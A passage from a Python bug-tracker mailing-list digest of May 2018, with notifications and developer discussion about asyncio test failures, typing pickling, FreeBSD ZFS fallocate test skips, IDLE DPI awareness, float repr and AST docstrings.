---------- priority: release blocker -> high _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 13:41:15 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Sat, 26 May 2018 17:41:15 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1527356475.88.0.682650639539.issue32769@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: New changeset 717204ffcccfe04a34b6c4a52f0e844fde3cdebe by Ivan Levkivskyi (Andr?s Delfino) in branch '3.6': [3.6] bpo-32769: A new take on annotations/type hinting glossary entries (GH-6829) (GH-7128) https://github.com/python/cpython/commit/717204ffcccfe04a34b6c4a52f0e844fde3cdebe ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 13:44:11 2018 From: report at bugs.python.org (=?utf-8?q?Andr=C3=A9s_Delfino?=) Date: Sat, 26 May 2018 17:44:11 +0000 Subject: [issue32769] Add 'annotations' to the glossary In-Reply-To: <1518019777.95.0.467229070634.issue32769@psf.upfronthosting.co.za> Message-ID: <1527356651.63.0.682650639539.issue32769@psf.upfronthosting.co.za> Change by Andr?s Delfino : ---------- pull_requests: +6765 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 13:59:06 2018 From: report at bugs.python.org (Yury Selivanov) Date: Sat, 26 May 2018 17:59:06 +0000 Subject: [issue33654] asyncio: transports don't support switching between Protocol and BufferedProtocol In-Reply-To: <1527354511.66.0.682650639539.issue33654@psf.upfronthosting.co.za> Message-ID: <1527357546.94.0.682650639539.issue33654@psf.upfronthosting.co.za> Yury Selivanov added the comment: Thanks, Ned! ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 14:16:12 2018 From: report at bugs.python.org (Ned Deily) Date: Sat, 26 May 2018 18:16:12 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527358572.43.0.682650639539.issue32458@psf.upfronthosting.co.za> Ned Deily added the comment: Yury, are you still planning to address this? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 14:19:28 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Sat, 26 May 2018 18:19:28 +0000 Subject: [issue33652] Improve pickling of typing types In-Reply-To: <1527318615.23.0.682650639539.issue33652@psf.upfronthosting.co.za> Message-ID: <1527358768.45.0.682650639539.issue33652@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: New changeset 09f3221fbbf72692308149054e4f7668b08b22eb by Ivan Levkivskyi (Serhiy Storchaka) in branch 'master': bpo-33652: Improve pickle support in the typing module. (GH-7123) https://github.com/python/cpython/commit/09f3221fbbf72692308149054e4f7668b08b22eb ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 14:21:00 2018 From: report at bugs.python.org (miss-islington) Date: Sat, 26 May 2018 18:21:00 +0000 Subject: [issue33652] Improve pickling of typing types In-Reply-To: <1527318615.23.0.682650639539.issue33652@psf.upfronthosting.co.za> Message-ID: <1527358860.76.0.682650639539.issue33652@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6766 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 14:38:02 2018 From: report at bugs.python.org (miss-islington) Date: Sat, 26 May 2018 18:38:02 +0000 Subject: [issue33652] Improve pickling of typing types In-Reply-To: <1527318615.23.0.682650639539.issue33652@psf.upfronthosting.co.za> Message-ID: <1527359882.75.0.682650639539.issue33652@psf.upfronthosting.co.za> miss-islington added the comment: New changeset d49862582ed3513debed6e919fd4f92e9d4eebbd by Miss Islington (bot) in branch '3.7': bpo-33652: Improve pickle support in the typing module. (GH-7123) https://github.com/python/cpython/commit/d49862582ed3513debed6e919fd4f92e9d4eebbd ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 14:39:54 2018 From: report at bugs.python.org (miss-islington) Date: Sat, 26 May 2018 18:39:54 +0000 Subject: [issue21983] segfault in ctypes.cast In-Reply-To: <1405374806.18.0.56272254378.issue21983@psf.upfronthosting.co.za> Message-ID: <1527359994.7.0.682650639539.issue21983@psf.upfronthosting.co.za> miss-islington added the comment: New changeset e60f6e1864d80d80f8928afadec617d161a64150 by Miss Islington (bot) in branch '3.7': bpo-21983: Fix a crash in ctypes.cast() when passed a ctypes structured data type (GH-3859) https://github.com/python/cpython/commit/e60f6e1864d80d80f8928afadec617d161a64150 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 14:44:35 2018 From: report at bugs.python.org (Nathaniel Manista) Date: Sat, 26 May 2018 18:44:35 +0000 Subject: [issue23495] The writer.writerows method should be documented as accepting any iterable (not only a list) In-Reply-To: <1424465153.78.0.58816335685.issue23495@psf.upfronthosting.co.za> Message-ID: <1527360275.65.0.682650639539.issue23495@psf.upfronthosting.co.za> Change by Nathaniel Manista : ---------- nosy: +Nathaniel Manista _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 14:45:30 2018 From: report at bugs.python.org (Yury Selivanov) Date: Sat, 26 May 2018 18:45:30 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527360330.05.0.682650639539.issue32458@psf.upfronthosting.co.za> Yury Selivanov added the comment: Last time I looked into this I couldn't reproduce the failures on my Windows 10 VM, so it seems like an AppVeyor-specific problem. I'll take another look on Monday. Andrew, if you have a Windows environment, could you please try to run this test? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 14:45:42 2018 From: report at bugs.python.org (Xavier de Gaye) Date: Sat, 26 May 2018 18:45:42 +0000 Subject: [issue13886] readline-related test_builtin failure In-Reply-To: <1327659819.71.0.475160045664.issue13886@psf.upfronthosting.co.za> Message-ID: <1527360342.67.0.682650639539.issue13886@psf.upfronthosting.co.za> Change by Xavier de Gaye : ---------- pull_requests: +6767 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 14:45:44 2018 From: report at bugs.python.org (Ned Deily) Date: Sat, 26 May 2018 18:45:44 +0000 Subject: [issue33400] logging.Formatter does not default to ISO8601 date format In-Reply-To: <1525203444.89.0.682650639539.issue33400@psf.upfronthosting.co.za> Message-ID: <1527360344.46.0.682650639539.issue33400@psf.upfronthosting.co.za> Ned Deily added the comment: Vinay, PR_6704, the 3.7 backport is still unmerged with review comments and there are unresolved comments here. Can we at least get the 3.7 branch in sync with the other branches while you sort this out one way or another? ---------- nosy: +ned.deily _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 14:45:58 2018 From: report at bugs.python.org (Ned Deily) Date: Sat, 26 May 2018 18:45:58 +0000 Subject: [issue33400] logging.Formatter does not default to ISO8601 date format In-Reply-To: <1525203444.89.0.682650639539.issue33400@psf.upfronthosting.co.za> Message-ID: <1527360358.67.0.682650639539.issue33400@psf.upfronthosting.co.za> Change by Ned Deily : ---------- versions: +Python 3.6, Python 3.7, Python 3.8 -Python 3.4 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 14:47:51 2018 From: report at bugs.python.org (Xavier de Gaye) Date: Sat, 26 May 2018 18:47:51 +0000 Subject: [issue13886] readline-related test_builtin failure In-Reply-To: <1327659819.71.0.475160045664.issue13886@psf.upfronthosting.co.za> Message-ID: <1527360471.5.0.682650639539.issue13886@psf.upfronthosting.co.za> Xavier de Gaye added the comment: As stated in msg285810, issue 28180 removed the need for an Android workaround. After checking this point on the Android API 24 emulator with the current master branch, I have opened PR 7133 which is Martin's input-readline.v3.patch with the Android workaround removed. The patch is commited with Martin as its author. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 14:49:07 2018 From: report at bugs.python.org (Ned Deily) Date: Sat, 26 May 2018 18:49:07 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527360547.16.0.682650639539.issue32458@psf.upfronthosting.co.za> Ned Deily added the comment: > Last time I looked into this I couldn't reproduce the failures on my Windows 10 VM, so it seems like an AppVeyor-specific problem. I'll take another look on Monday. But in msg317468 Victor asserts that it sometimes fails on Linux, too? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 14:54:49 2018 From: report at bugs.python.org (Yury Selivanov) Date: Sat, 26 May 2018 18:54:49 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527360889.68.0.682650639539.issue32458@psf.upfronthosting.co.za> Yury Selivanov added the comment: > But in msg317468 Victor asserts that it sometimes fails on Linux, too? Hm, I missed that. I'll definitely take a look. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 15:22:06 2018 From: report at bugs.python.org (Christian Heimes) Date: Sat, 26 May 2018 19:22:06 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527362526.77.0.682650639539.issue32458@psf.upfronthosting.co.za> Christian Heimes added the comment: It's failing reproducible with OpenSSL 1.1.1 and TLS 1.3 enabled. I haven't seen it failing with TLS 1.2 yet. ---------- nosy: +christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 15:40:41 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 26 May 2018 19:40:41 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527363641.54.0.682650639539.issue32458@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I have not seen test_asyncio fail on AppVeyor since about Sunday. https://ci.appveyor.com/project/python/cpython/history shows only a couple of failures, which could very well be real. I have seen test_asyncio fail on Travis since Sunday. With my local repository 32-bit debug build of master branch: If I run python -m test.test_asyncio -v, test_sock_sendfile_not_regular_file (test.test_asyncio.test_proactor_events.ProactorEventLoopUnixSockSendfileTests) ... (and the test process) aborts with a failed debug assertion: minkernel\crts\ucrt\src\appcrt\lowio\osfinfo.cpp, line 257 fh >= 0 && (unsigned)fh < (unsigned)_nhandle If I run python -m test test_asyncio, I get F:\dev\3x\lib\asyncio\sslproto.py:320: ResourceWarning: unclosed transport source=self) F:\dev\3x\lib\asyncio\sslproto.py:320: ResourceWarning: unclosed transport source=self) Exception in callback _ProactorReadPipeTransport._loop_reading__data_received(<_OverlappedFuture cancelled>) handle: )> Traceback (most recent call last): File "F:\dev\3x\lib\asyncio\events.py", line 88, in _run self._context.run(self._callback, *self._args) File "F:\dev\3x\lib\asyncio\proactor_events.py", line 222, in _loop_reading__data_received self._closing) AssertionError test_asyncio passed in 35 sec 1 test OK. With -v, above is scattered in verbose output, but test_start_tls_server_1 passed both times. Specifically, I ran the following 10 times with no failures. f:\dev\3x>python -m test -v -m test_start_tls_server_1 test_asyncio ... test_start_tls_server_1 (test.test_asyncio.test_sslproto.ProactorStartTLSTests) ... ok test_start_tls_server_1 (test.test_asyncio.test_sslproto.SelectorStartTLSTests) ... ok ---------- nosy: -christian.heimes _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 15:52:13 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 26 May 2018 19:52:13 +0000 Subject: [issue32458] test_asyncio: test_start_tls_server_1() fails randomly In-Reply-To: <1514661650.99.0.213398074469.issue32458@psf.upfronthosting.co.za> Message-ID: <1527364333.68.0.682650639539.issue32458@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I presume the above is using the month-old openssl-bin-1.1.0h. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 15:52:51 2018 From: report at bugs.python.org (Ned Deily) Date: Sat, 26 May 2018 19:52:51 +0000 Subject: [issue33655] test_posix_fallocate fails on FreeBSD buildbots with ZFS file systems Message-ID: <1527364371.11.0.682650639539.issue33655@psf.upfronthosting.co.za> New submission from Ned Deily : Seen on some of the various FreeBSD buildbots: ====================================================================== ERROR: test_posix_fallocate (test.test_posix.PosixTester) ---------------------------------------------------------------------- Traceback (most recent call last): File "/usr/home/buildbot/python/3.7.koobs-freebsd-current/build/Lib/test/test_posix.py", line 342, in test_posix_fallocate posix.posix_fallocate(fd, 0, 10) OSError: [Errno 22] Invalid argument ---------------------------------------------------------------------- As discussed in Issue31106 msg312453 and successors, the failure is due to posix_fallocate not being implemented on ZFS and the difficulty of determining in a platform-independent way what kind of file system a given file resides on. The test already ignores EINVAL ("Invalid argument") errors when run on Solaris-type platforms due to the common use of ZFS there. In lieu of a more precise test for fs type, we should also ignore EINVAL errors in this test when run on *BSD platforms. Also, rather than silently ignoring the error, it may be better to use a SkipTest message. ---------- assignee: ned.deily components: FreeBSD messages: 317763 nosy: koobs, ned.deily priority: normal severity: normal stage: patch review status: open title: test_posix_fallocate fails on FreeBSD buildbots with ZFS file systems versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 16:11:25 2018 From: report at bugs.python.org (Ned Deily) Date: Sat, 26 May 2018 20:11:25 +0000 Subject: [issue33655] test_posix_fallocate fails on FreeBSD buildbots with ZFS file systems In-Reply-To: <1527364371.11.0.682650639539.issue33655@psf.upfronthosting.co.za> Message-ID: <1527365485.02.0.682650639539.issue33655@psf.upfronthosting.co.za> Change by Ned Deily : ---------- keywords: +patch pull_requests: +6768 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 16:30:49 2018 From: report at bugs.python.org (Ned Deily) Date: Sat, 26 May 2018 20:30:49 +0000 Subject: [issue33655] test_posix_fallocate fails on FreeBSD buildbots with ZFS file systems In-Reply-To: <1527364371.11.0.682650639539.issue33655@psf.upfronthosting.co.za> Message-ID: <1527366649.47.0.682650639539.issue33655@psf.upfronthosting.co.za> Ned Deily added the comment: New changeset 09c4a7dee2eb39b515e5f499f184257cdbe9cb42 by Ned Deily in branch 'master': bpo-33655: Also ignore test_posix_fallocate failures on BSD platforms (GH-7134) https://github.com/python/cpython/commit/09c4a7dee2eb39b515e5f499f184257cdbe9cb42 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 16:32:10 2018 From: report at bugs.python.org (miss-islington) Date: Sat, 26 May 2018 20:32:10 +0000 Subject: [issue33655] test_posix_fallocate fails on FreeBSD buildbots with ZFS file systems In-Reply-To: <1527364371.11.0.682650639539.issue33655@psf.upfronthosting.co.za> Message-ID: <1527366730.8.0.682650639539.issue33655@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6769 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 16:32:58 2018 From: report at bugs.python.org (miss-islington) Date: Sat, 26 May 2018 20:32:58 +0000 Subject: [issue33655] test_posix_fallocate fails on FreeBSD buildbots with ZFS file systems In-Reply-To: <1527364371.11.0.682650639539.issue33655@psf.upfronthosting.co.za> Message-ID: <1527366778.91.0.682650639539.issue33655@psf.upfronthosting.co.za> Change by miss-islington : ---------- pull_requests: +6770 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 16:38:36 2018 From: report at bugs.python.org (=?utf-8?q?=C5=81ukasz_Langa?=) Date: Sat, 26 May 2018 20:38:36 +0000 Subject: [issue32380] functools.singledispatch interacts poorly with methods In-Reply-To: <1513722188.44.0.213398074469.issue32380@psf.upfronthosting.co.za> Message-ID: <1527367116.68.0.682650639539.issue32380@psf.upfronthosting.co.za> ?ukasz Langa added the comment: New changeset c651275afe8515b2cf70b8152e19ce39df88f0dd by ?ukasz Langa (Ethan Smith) in branch 'master': bpo-32380: Create functools.singledispatchmethod (#6306) https://github.com/python/cpython/commit/c651275afe8515b2cf70b8152e19ce39df88f0dd ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 17:19:09 2018 From: report at bugs.python.org (Serhiy Storchaka) Date: Sat, 26 May 2018 21:19:09 +0000 Subject: [issue33652] Improve pickling of typing types In-Reply-To: <1527318615.23.0.682650639539.issue33652@psf.upfronthosting.co.za> Message-ID: <1527369549.62.0.682650639539.issue33652@psf.upfronthosting.co.za> Serhiy Storchaka added the comment: There is a question -- what to do with all these __getstate__ and __setstate__ methods? They are part of the pickle protocol, but they are not used when define __reduce__. And they are not needed for supporting compatibility with older versions, because in 3.6 pickleable generic types were pickled by name. I think it is better to remove these methods. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 17:20:25 2018 From: report at bugs.python.org (Vinay Sajip) Date: Sat, 26 May 2018 21:20:25 +0000 Subject: [issue33400] logging.Formatter does not default to ISO8601 date format In-Reply-To: <1525203444.89.0.682650639539.issue33400@psf.upfronthosting.co.za> Message-ID: <1527369625.14.0.682650639539.issue33400@psf.upfronthosting.co.za> Vinay Sajip added the comment: Yes, sorry, Ned, I've been snowed under with other work recently :-( ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 17:42:26 2018 From: report at bugs.python.org (Ivan Levkivskyi) Date: Sat, 26 May 2018 21:42:26 +0000 Subject: [issue33652] Improve pickling of typing types In-Reply-To: <1527318615.23.0.682650639539.issue33652@psf.upfronthosting.co.za> Message-ID: <1527370946.01.0.682650639539.issue33652@psf.upfronthosting.co.za> Ivan Levkivskyi added the comment: Yes, these are just legacy from times when TypeVars were serialized by value, not by identity like now. I think it should be safe to remove them. Would you like to make a PR? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 17:57:04 2018 From: report at bugs.python.org (miss-islington) Date: Sat, 26 May 2018 21:57:04 +0000 Subject: [issue33655] test_posix_fallocate fails on FreeBSD buildbots with ZFS file systems In-Reply-To: <1527364371.11.0.682650639539.issue33655@psf.upfronthosting.co.za> Message-ID: <1527371824.12.0.682650639539.issue33655@psf.upfronthosting.co.za> miss-islington added the comment: New changeset 96fb828da305b18336b8d74b14f479c4f286cf7b by Miss Islington (bot) in branch '3.7': bpo-33655: Also ignore test_posix_fallocate failures on BSD platforms (GH-7134) https://github.com/python/cpython/commit/96fb828da305b18336b8d74b14f479c4f286cf7b ---------- nosy: +miss-islington _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 17:58:02 2018 From: report at bugs.python.org (miss-islington) Date: Sat, 26 May 2018 21:58:02 +0000 Subject: [issue33655] test_posix_fallocate fails on FreeBSD buildbots with ZFS file systems In-Reply-To: <1527364371.11.0.682650639539.issue33655@psf.upfronthosting.co.za> Message-ID: <1527371882.19.0.682650639539.issue33655@psf.upfronthosting.co.za> miss-islington added the comment: New changeset ae27dee0f8f364f0bbb170d918a28b87cd0753d9 by Miss Islington (bot) in branch '3.6': bpo-33655: Also ignore test_posix_fallocate failures on BSD platforms (GH-7134) https://github.com/python/cpython/commit/ae27dee0f8f364f0bbb170d918a28b87cd0753d9 ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 17:59:11 2018 From: report at bugs.python.org (Ned Deily) Date: Sat, 26 May 2018 21:59:11 +0000 Subject: [issue33655] test_posix_fallocate fails on FreeBSD buildbots with ZFS file systems In-Reply-To: <1527364371.11.0.682650639539.issue33655@psf.upfronthosting.co.za> Message-ID: <1527371951.39.0.682650639539.issue33655@psf.upfronthosting.co.za> Ned Deily added the comment: Fix merged for 3.7.0 and 3.6.6. ---------- resolution: -> fixed stage: patch review -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 18:03:05 2018 From: report at bugs.python.org (Ned Deily) Date: Sat, 26 May 2018 22:03:05 +0000 Subject: [issue31106] os.posix_fallocate() generate exception with errno 0 In-Reply-To: <1501686186.83.0.555586832167.issue31106@psf.upfronthosting.co.za> Message-ID: <1527372185.69.0.682650639539.issue31106@psf.upfronthosting.co.za> Ned Deily added the comment: P.S.: > Koobs, could you please open a new issue about the failing test? Unless someone knows of a foolproof way to determine on all platforms that a file is resident on ZFS, the fix is to skip the test on FreeBSD as well if ZFS is likely to be used there. The unrelated problem identified in msg312453 has now been fixed in Issue33655. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 18:19:48 2018 From: report at bugs.python.org (Ned Deily) Date: Sat, 26 May 2018 22:19:48 +0000 Subject: [issue32290] bolen-dmg-3.6: compilation failed with OSError: [Errno 23] Too many open files in system In-Reply-To: <1513093245.22.0.213398074469.issue32290@psf.upfronthosting.co.za> Message-ID: <1527373188.84.0.682650639539.issue32290@psf.upfronthosting.co.za> Ned Deily added the comment: The macOS Tiger buildbot where all of these "too many files open" OS failures occurred has been retired. ---------- resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 18:27:34 2018 From: report at bugs.python.org (Ned Deily) Date: Sat, 26 May 2018 22:27:34 +0000 Subject: [issue31931] test_concurrent_futures: ProcessPoolSpawnExecutorTest.test_shutdown_race_issue12456() leaked dangling process on x86 Tiger 3.x In-Reply-To: <1509704078.7.0.213398074469.issue31931@psf.upfronthosting.co.za> Message-ID: <1527373654.48.0.682650639539.issue31931@psf.upfronthosting.co.za> Ned Deily added the comment: Since the macOS Tiger buildbot has been retired, let's close this unless a similar failure pops up on another, more modern platform. ---------- nosy: +ned.deily resolution: -> out of date stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 19:14:50 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 26 May 2018 23:14:50 +0000 Subject: [issue33656] IDLE: Turn on DPI awareness on Windows Message-ID: <1527376490.94.0.682650639539.issue33656@psf.upfronthosting.co.za> New submission from Terry J. Reedy : On IDLE-dev today, Elisha Paine, from Ranelagh School in England, wrote: ''' I love IDLE (so simple and lightweight compared with other IDEs) and was just wondering if you could add the following code into pyshell.py (as I have done on mine) because, as you will be able to tell, it sets DPI awareness (and on my set-up makes the text a lot clearer) import ctypes try: ctypes.windll.shcore.SetProcessDpiAwareness (True) except: pass ''' On my Win 10 system with a 2560 x 1440 27" monitor, the text is noticeably sharper, some colors are brighter, and some characters are better formed. The main effect seems to be from properly lining up vertical and horizontal lines with the pixels. Lines that are supposed to be 1 or 2 pixels wide are just that, instead of bleeding over onto additional rows or columns. By comparing IDLE's shell with Windows consoles with the same font and text, both for Command Prompt and Python x.y consoles, I determined that the Windows consoles have DPI awareness on. The text is longer with it off and some character shapes, such as for 2 and 3, don't match, whereas text length and shape matches perfectly with it on. At least some other apps also have DPO awareness on. With the patch, the Open and Save As dialogs opened opened by from IDLE, via the tkinter/tk function, match those opened by Firefox. Without the patch, not. I like the improvement and with 3.7.0rc1 delayed, would like to get it in now. My question for you Windows experts is 1. Is the above exactly the right thing? and 2. Should it be unconditional, or is there a possible downside? Do consoles always have DPI awareness, or is it conditional on the monitor? I will make a PR as soon as I post this and get an issue number. ---------- assignee: terry.reedy components: IDLE messages: 317775 nosy: paul.moore, steve.dower, terry.reedy, tim.golden, zach.ware priority: normal severity: normal stage: patch review status: open title: IDLE: Turn on DPI awareness on Windows type: enhancement versions: Python 3.6, Python 3.7, Python 3.8 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 19:39:40 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 26 May 2018 23:39:40 +0000 Subject: [issue33656] IDLE: Turn on DPI awareness on Windows In-Reply-To: <1527376490.94.0.682650639539.issue33656@psf.upfronthosting.co.za> Message-ID: <1527377980.93.0.682650639539.issue33656@psf.upfronthosting.co.za> Change by Terry J. Reedy : ---------- keywords: +patch pull_requests: +6771 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 19:41:13 2018 From: report at bugs.python.org (Terry J. Reedy) Date: Sat, 26 May 2018 23:41:13 +0000 Subject: [issue33656] IDLE: Turn on DPI awareness on Windows In-Reply-To: <1527376490.94.0.682650639539.issue33656@psf.upfronthosting.co.za> Message-ID: <1527378073.5.0.682650639539.issue33656@psf.upfronthosting.co.za> Terry J. Reedy added the comment: I changed the bare except: to 'except AttributeError:'. If ctypes.windll.shcore.SetProcessDpiAwareness exists, can calling it with True ever fail? ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 23:21:30 2018 From: report at bugs.python.org (Nick Coghlan) Date: Sun, 27 May 2018 03:21:30 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527391290.06.0.682650639539.issue32911@psf.upfronthosting.co.za> Nick Coghlan added the comment: Just noting that I'm going to attempt an alternative, hopefully lower impact, approach at implementing the reversion, which will be to modify Parser/asdl_c.py to inject the following constructor postamble for ASDL nodes that define both a "body" and a "docstring" field: 1. If docstring is set, also insert it as the first entry in the node's body sequence (this is enough to get AST compilation back to behaving the way it did in 3.6, since the docstrings will be reinserted as `body[0]` even after the AST compilation process took them out) 2. If docstring is not set, check if the first entry is usable as a docstring, and if so, also set it as the docstring (this would restore compatibility with node manipulation code that expects to be able to pass a docstring as body[0]) In 3.8, we'd then decide how to eliminate the duplication of information between the two locations, but do so armed with the ability to emit deprecation warnings for code which isn't setting the node docstring attribute explicitly. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 23:34:18 2018 From: report at bugs.python.org (Wilfredo Sanchez) Date: Sun, 27 May 2018 03:34:18 +0000 Subject: [issue33651] Add get() method to sqlite3.Row class In-Reply-To: <1527285535.19.0.682650639539.issue33651@psf.upfronthosting.co.za> Message-ID: <1527392058.95.0.682650639539.issue33651@psf.upfronthosting.co.za> Wilfredo Sanchez added the comment: Well, sequence and mapping are not mutually exclusive, and sqlite3.Row does allow mapping-style indexing, which is why I expected .get() to work. But I hear Raymond's point about all field being known, and I think that's a good point? and I agree I don't actually need .get(). Feel free to close. Thanks for the quick replies. ---------- _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 23:44:15 2018 From: report at bugs.python.org (Eitan Adler) Date: Sun, 27 May 2018 03:44:15 +0000 Subject: [issue33657] float addition rounding error In-Reply-To: <1527392289.72.0.682650639539.issue33657@psf.upfronthosting.co.za> Message-ID: <1527392655.9.0.682650639539.issue33657@psf.upfronthosting.co.za> Change by Eitan Adler : ---------- nosy: +eitan.adler _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sat May 26 23:38:09 2018 From: report at bugs.python.org (voidptr) Date: Sun, 27 May 2018 03:38:09 +0000 Subject: [issue33657] float addition rounding error Message-ID: <1527392289.72.0.682650639539.issue33657@psf.upfronthosting.co.za> New submission from voidptr : help in python 3.6.5 z = 1787.4 + 6.2 gives me z = 1793.600000000001 in python 2.7.15 gives z = 1793.6 I dont want explicitly round float thing every time so I went back to 2.7.15.... ---------- components: Interpreter Core messages: 317779 nosy: voidptr priority: normal severity: normal status: open title: float addition rounding error type: behavior versions: Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 00:17:04 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 27 May 2018 04:17:04 +0000 Subject: [issue33657] float addition rounding error In-Reply-To: <1527392289.72.0.682650639539.issue33657@psf.upfronthosting.co.za> Message-ID: <1527394624.56.0.682650639539.issue33657@psf.upfronthosting.co.za> Raymond Hettinger added the comment: The math hasn't changed. The underlying values haven't changed. What did change what that the __str__ now displays to full precision. Formerly, it used to display a rounded result that didn't reflect the actual stored value. $ python2.7 Python 2.7.15 (v2.7.15:ca079a3ea3, Apr 29 2018, 20:59:26) [GCC 4.2.1 Compatible Apple LLVM 6.0 (clang-600.0.57)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> z = 1787.4 + 6.2 >>> repr(z) '1793.6000000000001' >>> str(z) '1793.6' $ python3.6 Python 3.6.5 (v3.6.5:f59c0932b4, Mar 28 2018, 03:03:55) [GCC 4.2.1 (Apple Inc. build 5666) (dot 3)] on darwin Type "help", "copyright", "credits" or "license" for more information. >>> z = 1787.4 + 6.2 >>> repr(z) '1793.6000000000001' >>> str(z) '1793.6000000000001' ---------- nosy: +rhettinger resolution: -> not a bug stage: -> resolved status: open -> closed _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 00:18:14 2018 From: report at bugs.python.org (Raymond Hettinger) Date: Sun, 27 May 2018 04:18:14 +0000 Subject: [issue33651] Add get() method to sqlite3.Row class In-Reply-To: <1527285535.19.0.682650639539.issue33651@psf.upfronthosting.co.za> Message-ID: <1527394694.8.0.682650639539.issue33651@psf.upfronthosting.co.za> Raymond Hettinger added the comment: > But I hear Raymond's point about all field being known, > and I think that's a good point? and I agree I don't > actually need .get(). > Feel free to close. Thanks for the quick replies. Okay, done. ---------- resolution: -> rejected stage: -> resolved status: open -> closed versions: +Python 3.8 -Python 3.6 _______________________________________ Python tracker _______________________________________ From report at bugs.python.org Sun May 27 00:28:13 2018 From: report at bugs.python.org (Nick Coghlan) Date: Sun, 27 May 2018 04:28:13 +0000 Subject: [issue32911] Doc strings no longer stored in body of AST In-Reply-To: <1519302007.93.0.467229070634.issue32911@psf.upfronthosting.co.za> Message-ID: <1527395293.04.0.682650639539.issue32911@psf.upfronthosting.co.za> Nick Coghlan added the comment: After looking at potential implementation approaches, I believe the following would be the ASDL code generator changes needed to present the docstring as part of the body in the Python API, while keeping it as a separate attribute in the C API: * in ast2obj, add code in the converter postamble to inject the docstring as body[0] * in obj2ast, add code in the converter preamble to pop and discard body[0] when docstring is not None * in ast_type_init, 